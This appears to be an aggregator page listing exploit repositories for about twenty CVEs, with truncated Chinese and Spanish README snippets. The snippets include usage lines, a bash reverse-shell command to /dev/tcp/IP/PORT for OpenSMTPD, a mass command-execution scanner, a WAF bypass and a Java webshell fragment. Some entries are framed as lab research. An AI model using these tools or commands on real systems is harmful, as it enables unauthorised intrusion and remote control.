cve-2021-21972

cve-2021-21972 使用说明 python3 python poc.py -u target -s webshell/ssh webshell只支持vecter6.5版本，ssh支持所有版本，该poc只针对Linux。...

CVE-2021-21972

Laboratorio de Investigación RCE en VMware vCenter Server — CVE-2021-21972 Autor: Niranjan Pokhrel Proyecto de investigación independiente que reproduce y documenta una vulnerabilidad crítica y divulgada públicamente en VMware vCenter Server en un laboratorio doméstico aislado, para comprender la...

CVE-2019-9580

CVE-2019-9580 - StackStorm explotando CORS null origin para obtener RCE Antes de las versiones 2.10.3/2.9.3, si el origin de la solicitud era desconocido, devolvíamos null. null puede resultar en una solicitud exitosa desde un origin desconocido en algunos clientes. Permitiendo la posibilidad de...

vbulletin5-rce

vbulletin5 rce漏洞检测工具 0x00 概述 201909 vbulletion55.0.0-5.5.4爆出rce漏洞（CVE-2019-16759），利用文件ajax/render/widgetphp和post参数widgetConfigcode可直接远程代码执行。 20200811，网上爆出CVE-2019-16759补丁可被绕过，利用ajax/render/widgettabbedcontainertabpanel和构造post参数subWidgets0configcode可直接远程代码执行。 本工具支持单url检测，cmdshell，get web...

Stutsfi

Stutsfi Un exploit para la vulnerabilidad de ejecución remota de código RCE CVE-2017-5638 en Apache Struts 2...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 - Vulnerabilidad de lectura arbitraria de archivos a través de la CLI que puede conducir a RCE Productos y versiones afectados: Producto| Versiones afectadas ---|--- Jenkis Server| = 2.441 = LTS 2.426.3 CVSS: CRÍTICO Explotado activamente: SÍ Parche: SÍ Mitigación: S...

Nextjs_Exploit_Tool

Next.js RSC RCE Exploit Tool CVE-2025-55182 项目简介 CVE-2025-55182 是存在于 Next.js 服务端组件（RSC）处理链中的一个高危漏洞，攻击者通过构造特殊的 multipart/form-data 请求与伪造的 RSC 响应块，能够诱导服务端执行任意 JavaScript 代码，最终通过 process.mainModule.require'childprocess' 实现远程命令执行。 本项目将该漏洞利用链封装为一个图形化桌面工具，降低安全研究人员在授权测试环境下的验证成本，集成了： 算术探针自动检测...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 是 Cacti（一款网络监控与管理软件）中发现的一个安全漏洞。该漏洞允许攻击者发送特制的 HTTP 请求，在无需认证的情况下远程利用系统。利用此漏洞，攻击者可以在目标系统上执行任意系统命令。这带来了重大风险，使得未经授权的个人能够控制受影响系统，并可能以高权限实施恶意活动。该漏洞位于 remoteagent.php 中。解决方案是升级到 Cacti 1.2.23、1.3.0 或更高版本。...

Spring4Shell-POC

Spring4Shell-POC CVE-2022-22965 Spring4Shell CVE-2022-22965 概念验证/信息 + 一个自带易受攻击 spring4shell 应用程序的易受攻击 Tomcat 服务器。 今天凌晨，多个消息来源报告了流行的 Java 框架 Spring 中可能存在一个 RCE 漏洞。 该漏洞的命名基于它与臭名昭著的 Log4j LOG4Shell 的相似性。 关于此漏洞的详细信息 https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc...

CVE-2025-55182-bypass

CVE-2025-55182 Bypass de Cabecera Bypass de la cabecera Next-Action para CVE-2025-55182. Consigue RCE en React RSC sin cabeceras distintivas, evadiendo reglas WAF. Hallazgo Clave La cabecera Next-Action NO es necesaria para la explotación. Vector de ataque| Cabecera Next-Action| Detección WAF...

CVE-2021-40444

CVE-2021-40444 PoC 恶意 docx 生成器，用于利用 CVE-2021-40444（Microsoft Office Word 远程代码执行） 此脚本的创建基于对样本（938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52，docx 文件）的一些逆向工程。 你需要先安装 lcab（sudo apt-get install lcab） 查看 REPRODUCE.md 了解手动复现步骤 如果你的生成的 cab 文件不起作用，请尝试将 exploit.html 的 URL 指向 calc.cab 使用...

CVE-2025-11953-PoC

Descripción El servidor de desarrollo Metro, que es abierto por la CLI de React Native Community, se vincula a interfaces externas por defecto. El servidor expone un endpoint que es vulnerable a la inyección de comandos del sistema operativo. Esto permite que atacantes de red no autenticados enví...

SuiteCRM-RCE

CVE-2020-28328 SuiteCRM 通过日志文件系统设置和日志文件投毒实现远程代码执行 概述 我最近在 SuiteCRM 中发现了两个漏洞，它们为低权限用户提供了一条攻击链，可在底层操作系统上实现代码执行。该攻击链是跨站脚本（XSS），可用于执行跨站请求伪造（CSRF），进而通过篡改应用程序配置和投毒日志文件实现远程代码执行。这一切通过一个包含恶意 JavaScript 的文件上传实现，低权限用户可以诱骗具有管理员权限的用户运行该文件。我附上的概念验证文件及视频演示了低权限用户执行此攻击并获取托管 SuiteCRM 系统上的反弹 Shell 的过程。 该问题已在 SuiteC...

CVE-2024-48990

CVE-2024-48990 的 PoC CVE-2024-48990 是在 needrestart 工具中发现的一个本地权限提升漏洞。该漏洞存在于 3.8 之前的版本中。该服务在诸如软件包安装等事件期间以 root 权限运行，会不安全地扫描所有正在运行的进程。当发现 Python 进程时，它会读取并信任该进程的 PYTHONPATH 环境变量。 一个低权限的本地攻击者可以在一个“诱饵”进程上劫持 PYTHONPATH。当 needrestart 运行时，它会发现该进程，采用恶意路径，然后以 root 权限执行攻击者的代码。 使用方法 1. 在攻击者控制的目录中克隆仓库： git clo...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...

CVE-2024-6387-poc-1

CVE-2024-6387 regreSSHion en OpenSSH Descripción CVE-2024-6387, apodado "regreSSHion", es una vulnerabilidad crítica en OpenSSH que permite a atacantes remotos no autenticados ejecutar código con privilegios de root en sistemas Linux vulnerables. Esta vulnerabilidad surge de una condición de...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Uso de Burp Suite para explotar la vulnerabilidad de deserialización de Java 0x01 Montar la vulnerabilidad de deserialización de Jboss JMXInvokerServlet Entorno de prueba: Vulnerabilidad de deserialización de JBoss JMXInvokerServlet Principio de la...

CVE-2022-28672

CVE-2022-28672 Discord Server Este error fue un Use after Free causado por un manejo inadecuado de las referencias de memoria de objetos de JavaScript. Blog Foxit PDF Reader - UaF - RCE - JIT Spraying Advisory CVE-2022-28672 Demo...

CVE-2023-22527

我对任何非法攻击不承担责任 CVE-2023-22527 批量扫描脚本 帮助 usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of threads 批量扫描结果保存在...